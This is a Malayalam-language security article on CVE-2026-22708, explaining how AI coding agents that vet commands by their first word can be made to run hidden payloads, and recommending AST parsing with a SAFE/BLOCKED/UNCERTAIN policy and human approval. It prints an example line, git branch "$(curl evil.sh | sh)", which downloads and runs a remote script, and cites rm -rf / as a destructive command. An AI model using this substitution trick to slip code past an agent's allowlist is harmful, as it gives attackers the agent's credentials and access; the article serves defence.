പുതുതായി വെളിപ്പെട്ട CVE-2026-22708 എന്ന സുരക്ഷാ വീഴ്ച പ്രകാരം, ലളിതമായ കമാൻഡ് allowlist-കളെ ആശ്രയിക്കുന്ന AI ഏജന്റുകളെ ദുരുപയോഗം ചെയ്ത് മാലിഷ്യസ് കോഡ് (malicious code) പ്രവർത്തിപ്പിക്കാൻ സാധിക്കും. ഒരു സാധാരണ കമാൻഡിനുള്ളിൽ തന്നെ ഒരു പേലോഡ് (payload) ഒളിപ്പിച്ചു വെക്കാൻ ഈ പിഴവ് ആക്രമണകാരികളെ അനുവദിക്കുന്നു, ഇത് ഹോസ്റ്റിൽ ഏത് സ്ക്രിപ്റ്റും പ്രവർത്തിപ്പിക്കാൻ ഏജന്റിന് നേരിട്ടുള്ള വഴി തുറന്നുനൽകുന്നു.

ഡെവലപ്‌മെന്റ് അല്ലെങ്കിൽ ഓപ്പറേഷൻസ് ഓട്ടോമേറ്റ് ചെയ്യുന്ന ഭൂരിഭാഗം AI അധിഷ്ഠിത അസിസ്റ്റന്റുകളും പ്രവർത്തിക്കുന്നത് ഒരു കമാൻഡിന്റെ ആദ്യ വാക്ക് ഒരു വൈറ്റ്‌ലിസ്റ്റുമായി (whitelist) താരതമ്യം ചെയ്തുകൊണ്ടാണ്. ആ വാക്ക് git അല്ലെങ്കിൽ npm പോലുള്ളവയുമായി പൊരുത്തപ്പെട്ടാൽ, ആ അഭ്യർത്ഥന നേരിട്ട് അനുവദിക്കപ്പെടുന്നു. ഇത് നടപ്പിലാക്കാൻ എളുപ്പമായതിനാലും ഏജന്റുകൾ അപകടകാരികളായ യൂട്ടിലിറ്റികൾ പ്രവർത്തിപ്പിക്കുന്നത് തടയുന്നതായി തോന്നുന്നതിനാലും ഈ “prefix matching” രീതി ആകർഷകമാണ്.

പ്രായോഗികമായി ഈ സമീപനം ഒരു സുരക്ഷാ വിടവാണ്. അനുവദനീയമായ വാക്കിന് ശേഷം ഒരു കമാൻഡ് സബ്സ്റ്റിറ്റ്യൂഷനോ (command substitution) മറ്റ് ഷെൽ ഫീച്ചറുകളോ ആക്രമണകാരിക്ക് ഉൾപ്പെടുത്താം, അപ്പോൾ വൈറ്റ്‌ലിസ്റ്റ് അത് ഒരിക്കലും തിരിച്ചറിയുകയുമില്ല. ഇതിനൊരു ഉദാഹരണം താഴെ നൽകുന്നു:

git branch "$(curl evil.sh | sh)"

allowlist കാണുന്നത് git മാത്രമാണ്, അതിനാൽ അത് അഭ്യർത്ഥന അംഗീകരിക്കുന്നു. തുടർന്ന് ഷെൽ $(curl evil.sh | sh) എന്നത് വികസിപ്പിക്കുകയും (expand), ഒരു സ്ക്രിപ്റ്റ് ഡൗൺലോഡ് ചെയ്ത് ഏജന്റിന്റെ അധികാരങ്ങൾ ഉപയോഗിച്ച് അത് പ്രവർത്തിപ്പിക്കുകയും ചെയ്യുന്നു. ഷെൽ വ്യാഖ്യാനിക്കുന്ന ആർഗ്യുമെന്റുകൾ സ്വീകരിക്കുന്ന ഏതൊരു വൈറ്റ്‌ലിസ്റ്റ് ചെയ്ത ബൈനറിയും ഉപയോഗിച്ച് ഇതേ തന്ത്രം പ്രവർത്തിപ്പിക്കാൻ കഴിയും.

AI ഏജന്റുകൾക്ക് കൂടുതൽ അധികാരമുള്ള സാഹചര്യങ്ങൾ—കണ്ടിന്യൂസ് ഇന്റഗ്രേഷൻ പൈപ്പ്‌ലൈനുകൾ, ക്ലൗഡ് ഹോസ്റ്റഡ് ഡെവലപ്‌മെന്റ് കണ്ടെയ്‌നറുകൾ, ഉപയോക്താക്കളുടെ വർക്ക്സ്റ്റേഷനുകൾ എന്നിവ—നൽകിക്കൊണ്ടിരിക്കുന്നതിനാൽ ഇതിന്റെ ആഘാതം വളരെ വലുതാണ്. ഒരു പേലോഡ് പ്രവർത്തിപ്പിക്കാൻ ഏജന്റിനെ പ്രേരിപ്പിക്കാൻ കഴിഞ്ഞാൽ, ഏജന്റിനുള്ള അതേ ആക്സസ് അവകാശങ്ങൾ ആക്രമണകാരിക്കും ലഭിക്കുന്നു. ഇതിൽ പലപ്പോഴും സീക്രട്ട് കീകൾ, ഡെപ്ലോയ്‌മെന്റ് ക്രെഡൻഷ്യലുകൾ അല്ലെങ്കിൽ നിയന്ത്രണങ്ങളില്ലാത്ത ഫയൽ സിസ്റ്റം ആക്സസ് എന്നിവ ഉൾപ്പെടുന്നു.

എന്തുകൊണ്ടാണ് ലളിതമായ allowlist-കൾ പരാജയപ്പെടുന്നത്

  • സ്ട്രിംഗ് മാച്ചിംഗ് മാത്രമാണ്, പോളിസി അല്ല – ആദ്യത്തെ ടോക്കൺ മാത്രം പരിശോധിക്കുന്നത് കമാൻഡ് ലൈനിന്റെ ഘടനയെ അവഗണിക്കുന്നു. ആർഗ്യുമെന്റുകൾ എങ്ങനെ വ്യാഖ്യാനിക്കപ്പെടുന്നു എന്നോ അവയിൽ ഷെൽ മെറ്റാകറക്ടറുകൾ (shell metacharacters) അടങ്ങിയിട്ടുണ്ടോ എന്നോ ഇത് പരിഗണിക്കുന്നില്ല.
  • ഷെൽ ഫീച്ചറുകൾ ശക്തമാണ് – സബ്സ്റ്റിറ്റ്യൂഷൻ, പൈപ്പ്‌ലൈനുകൾ, റീഡയറക്ഷൻ എന്നിവയെല്ലാം allowlist പരിശോധനയ്ക്ക് ശേഷം പ്രോസസ്സ് ചെയ്യപ്പെടുന്നു, ഇത് നിരുപദ്രവകാരിയായി തോന്നുന്ന ഒരു കമാൻഡിനെ പൂർണ്ണമായ ഒരു എക്സ്പ്ലോയിറ്റാക്കി മാറ്റുന്നു.
  • സാഹചര്യങ്ങൾ തിരിച്ചറിയാനുള്ള കഴിവില്ലായ്മ (No context awareness) – സുരക്ഷിതമായ ഒരു git status-ഉം പ്രൊഡക്ഷൻ ഹിസ്റ്ററി ഓവർറൈറ്റ് ചെയ്യാൻ സാധ്യതയുള്ള അപകടകാരികളായ git push --force-ഉം തമ്മിലുള്ള വ്യത്യാസം തിരിച്ചറിയാൻ വൈറ്റ്‌ലിസ്റ്റിന് കഴിയില്ല.

കൂടുതൽ സുരക്ഷിതമായ ഒരു മാതൃക

CVE-2026-22708-നോടുള്ള കമ്മ്യൂണിറ്റിയുടെ പ്രതികരണം, ലളിതമായ സ്ട്രിംഗ് പരിശോധനകളിൽ നിന്ന് കമാൻഡുകളെ ഒരു Abstract Syntax Tree (AST)-ലേക്ക് മാറ്റുന്നതിലേക്കാണ്. ഒരു കമാൻഡിന്റെ ശ്രേണീബദ്ധമായ ഘടനയെ (hierarchical structure) AST പ്രതിനിധീകരിക്കുന്നു, ഇത് എക്സിക്യൂട്ടബിളിനെ അതിന്റെ ആർഗ്യുമെന്റുകളിൽ നിന്നും മറ്റ് ഷെൽ ഘടനകളിൽ നിന്നും വേർതിരിക്കുന്നു. കമാൻഡ് വിശകലനം ചെയ്തുകഴിഞ്ഞാൽ, ഒരു പോളിസി എഞ്ചിന് അതിനെ മൂന്ന് വ്യത്യസ്ത വിഭാഗങ്ങളായി വിലയിരുത്താം:

  • SAFE (സുരക്ഷിതം) – പരിശോധിച്ച നിയമങ്ങളുമായി പൊരുത്തപ്പെടുന്നതും അപകടകരമായ ഘടനകൾ ഇല്ലാത്തതുമായ കമാൻഡുകൾ. ഏജന്റ് ഇവ സ്വയമേവ പ്രവർത്തിപ്പിക്കുന്നു. ഉദാഹരണം: git status.
  • BLOCKED (തടഞ്ഞത്) – രഹസ്യ ഫയലുകൾ ആക്സസ് ചെയ്യുന്നതോ, ഡയറക്ടറികൾ ഡിലീറ്റ് ചെയ്യുന്നതോ, അല്ലെങ്കിൽ അധികാരമുള്ള സ്ക്രിപ്റ്റുകൾ വിളിക്കുന്നതോ ആയ അപകടകാരികളായ പാറ്റേണുകളുമായി പൊരുത്തപ്പെടുന്ന കമാൻഡുകൾ. ഏജന്റ് ഇവ ഉടൻ തന്നെ റദ്ദാക്കുന്നു. ഉദാഹരണം: rm -rf /.
  • UNCERTAIN (അവ്യക്തം) – സുരക്ഷിതമോ തടഞ്ഞതോ ആയ വിഭാഗങ്ങളിൽ കൃത്യമായി ഉൾപ്പെടാത്ത കമാൻഡുകൾ. തുടരുന്നതിന് മുമ്പ് ഏജന്റ് മനുഷ്യന്റെ വ്യക്തമായ അനുമതി തേടണം. ഉദാഹരണം: git push --force.

UNCERTAIN എന്ന വിഭാഗം കൊണ്ടുവരുന്നത് ഭീഷണി മാതൃകയെ (threat model) മാറ്റുന്നു. തിരിച്ചറിയപ്പെടാത്ത ഓരോ കമാൻഡിനെയും പരാജയമായി കണക്കാക്കുന്നതിന് പകരം, സിസ്റ്റം അനിശ്ചിതത്വത്തെ നിയന്ത്രിതമായ ഒരു ഇടപെടലായി മാറ്റുന്നു. അനുമതി ഘട്ടം നടപ്പിലാക്കാനുള്ള ഒരു പ്രായോഗിക മാർഗ്ഗം, ഉപയോക്താവ് ഏജന്റിന് തിരികെ നൽകേണ്ട ഒരു സിംഗിൾ-യൂസ് HMAC ടോക്കൺ നൽകുക എന്നതാണ്. ടോക്കൺ അഭ്യർത്ഥനയുമായി ക്രിപ്റ്റോഗ്രാഫിക്കൽ ആയി ബന്ധപ്പെട്ടിരിക്കുന്നതിനാൽ, ഏജന്റിന് അനുമതി വ്യാജമായി നിർമ്മിക്കാൻ കഴിയില്ല.

സുരക്ഷയും ഉപയോഗക്ഷമതയും തമ്മിലുള്ള സന്തുലിതാവസ്ഥ

AST പാഴ്സിംഗ് (parsing) ലേറ്റൻസി കൂട്ടുമെന്നോ അല്ലെങ്കിൽ മൂന്ന് തട്ടുകളുള്ള മാതൃക ഉപയോക്താക്കൾക്ക് നിരന്തരം അനുമതികൾ ചോദിച്ചുകൊണ്ട് അവരുടെ ഉൽപ്പാദനക്ഷമത കുറയ്ക്കുമെന്നോ വിമർശകർ വാദിച്ചേക്കാം. ആ ആശങ്കകൾ ശരിയാണ്: ശരിയായി ക്രമീകരിക്കാത്ത ഒരു റൂൾ സെറ്റ് തെറ്റായ മുന്നറിയിപ്പുകൾ (false positives) നൽകിയേക്കാം, കൂടാതെ സങ്കീർണ്ണമായ പാഴ്സിംഗ് ലളിതമായ സ്ട്രിംഗ് പരിശോധനയേക്കാൾ കൂടുതൽ കമ്പ്യൂട്ടേഷണൽ ഭാരം ഉണ്ടാക്കിയേക്കാം. എന്നിരുന്നാലും, ഇതിന് പകരമായി നൽകുന്ന - ഏത് കോഡും പ്രവർത്തിപ്പിക്കാൻ അനുവദിക്കുന്നത് - വളരെ വലിയ നഷ്ടമുണ്ടാക്കുന്ന ഒന്നാണ്. ലൈറ്റ് വെയ്റ്റ് സാൻഡ്ബോക്സിംഗും (sandboxing) AST വിശകലനവും സംയോജിപ്പിക്കുന്ന ഹൈബ്രിഡ് സമീപനങ്ങൾ പ്രകടനം കുറയ്ക്കാതെ തന്നെ ശക്തമായ ഒരു പോളിസി നടപ്പിലാക്കാൻ സഹായിക്കും.

ഡെവലപ്പർമാർക്കും സംരംഭങ്ങൾക്കും നേരിടേണ്ടി വരുന്ന അപകടസാധ്യതകൾ

  • ഡാറ്റാ രഹസ്യാത്മകത (Data confidentiality) – ഒരു ഏജന്റ് ഹാക്ക് ചെയ്യപ്പെട്ടാൽ API കീകൾ, പാസ്‌വേഡുകൾ, ഉടമസ്ഥതയിലുള്ള കോഡുകൾ എന്നിവ ചോർത്തപ്പെട്ടേക്കാം.
  • സിസ്റ്റം സമഗ്രത (System integrity) – ദുരുപയോഗം ചെയ്യുന്ന കമാൻഡുകൾ പ്രൊഡക്ഷൻ ആർട്ടീഫാക്റ്റുകൾ മാറ്റാനോ ഡിലീറ്റ് ചെയ്യാനോ റിലീസുകൾ റോളബാക്ക് ചെയ്യാനോ ബാക്ക്‌ഡോറുകൾ

ഈ അപകടസാധ്യതകൾ അവഗണിക്കുന്ന പ്രോജക്റ്റുകൾ പലപ്പോഴും അമിതമായ നിയന്ത്രണങ്ങളിലൂടെ ഏജന്റിനെ തളർത്തുകയോ അല്ലെങ്കിൽ ദുരുപയോഗം ചെയ്യപ്പെടാൻ സാധ്യതയുള്ള രീതിയിൽ തുറന്നിടുകയോ ചെയ്യുന്നു. SAFE, BLOCKED, UNCERTAIN എന്നിങ്ങനെ വ്യക്തമായ ഗ്രൂപ്പുകൾ നിർവചിക്കുക എന്ന മധ്യമാർഗ്ഗം സുരക്ഷയ്ക്കും ഉപയോഗക്ഷമതയ്ക്കും പ്രായോഗികമായ ഒരു വഴി നൽകുന്നു.

അടുത്തതായി ശ്രദ്ധിക്കേണ്ടവ

  • Tooling – സാധാരണ ഷെല്ലുകൾക്കും ബിൽഡ് പൈപ്പ്‌ലൈനുകൾക്കുമായി AST അടിസ്ഥാനമാക്കിയുള്ള പാഴ്സറുകളും തയ്യാറാക്കിയ പോളിസി ടെംപ്ലേറ്റുകളും ലഭ്യമാക്കുന്ന ഓപ്പൺ സോഴ്സ് ലൈബ്രറികൾ പ്രതീക്ഷിക്കാം.
  • Standards – കണ്ടെയ്നർ റൺടൈമുകൾ seccomp പ്രൊഫൈലുകൾ മാനദണ്ഡവൽക്കരിച്ചത് പോലെ, വ്യവസായ ഗ്രൂപ്പുകൾ സാധാരണ ഡെവലപ്‌മെന്റ് കമാൻഡുകൾക്കായി അടിസ്ഥാന നിയമസെറ്റുകൾ നിർദ്ദേശിച്ചേക്കാം.
  • Audits – സുരക്ഷാ ടീമുകൾ അവരുടെ CI/CD ഓഡിറ്റ് പൈപ്പ്‌ലൈനുകളിൽ “allowlist sanity checks” ഉൾപ്പെടുത്തിയേക്കാം, കൂടാതെ പ്രിഫിക്സ് മാച്ചിംഗിനെ (prefix matching) മാത്രം ആശ്രയിക്കുന്ന ഏജന്റ് കോൺഫിഗറേഷനുകളെ ഇത് അടയാളപ്പെടുത്തുകയും ചെയ്യും.

സംഗ്രഹം

നിങ്ങളുടെ AI ഏജന്റ് ഒരു കമാൻഡിന്റെ ആദ്യ വാക്ക് മാത്രം നോക്കിയാണ് അത് പ്രവർത്തിപ്പിക്കേണ്ടത് എന്ന് തീരുമാനിക്കുന്നതെങ്കിൽ, അത് CVE-2026-22708-ൽ കാണിച്ചിരിക്കുന്ന ദുർബലതയ്ക്ക് വിധേയമാണ്. ആ രീതിക്ക് പകരം AST അധിഷ്ഠിത പാഴ്സിംഗും, അവ്യക്തമായ പ്രവൃത്തികൾക്കായി മനുഷ്യന്റെ സ്ഥിരീകരണം നിർബന്ധമാക്കുന്ന മൂന്ന് തലങ്ങളുള്ള പോളിസിയും ഉപയോഗിക്കുക. ഈ അധിക ഘട്ടം ഒരു തടസ്സമായി തോന്നാമെങ്കിലും, ഇത് ഒരു അവഗണിക്കപ്പെട്ട ഭാഗത്തെ (blind spot) പരിശോധിക്കാവുന്ന ഒരു നിയന്ത്രണ പോയിന്റാക്കി മാറ്റുകയും നിങ്ങളുടെ കോഡും ഇൻഫ്രാസ്ട്രക്ചറും സംരക്ഷിക്കുകയും ചെയ്യുന്നു.